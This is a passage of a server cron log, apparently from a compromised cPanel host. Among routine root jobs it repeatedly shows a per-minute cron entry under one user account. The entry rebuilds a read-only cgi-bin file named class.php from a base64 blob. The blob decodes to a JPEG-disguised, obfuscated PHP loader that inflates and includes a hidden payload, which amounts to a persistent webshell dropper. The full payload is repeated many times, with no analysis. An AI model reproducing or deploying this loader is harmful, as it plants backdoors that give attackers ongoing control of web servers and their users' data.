A7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:50:01 server CROND[5698]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 20:50:01 server CROND[5695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:51:01 server CROND[5816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:52:01 server CROND[5983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:53:01 server CROND[6060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:54:01 server CROND[6136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:55:01 server CROND[6201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:55:01 server CROND[6202]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:55:01 server CROND[6203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:56:01 server CROND[6328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:57:01 server CROND[6520]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 20:57:01 server CROND[6521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:58:01 server CROND[6592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:59:01 server CROND[6661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:00:01 server CROND[6723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:00:01 server CROND[6725]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:00:01 server CROND[6727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:00:01 server CROND[6730]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 21:01:01 server CROND[6853]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 21:01:01 server CROND[6854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:01:01 server run-parts(/etc/cron.hourly)[6853]: starting 0anacron
Apr  8 21:01:01 server run-parts(/etc/cron.hourly)[6867]: finished 0anacron
Apr  8 21:02:01 server CROND[6955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:03:01 server CROND[7125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:04:01 server CROND[7195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJ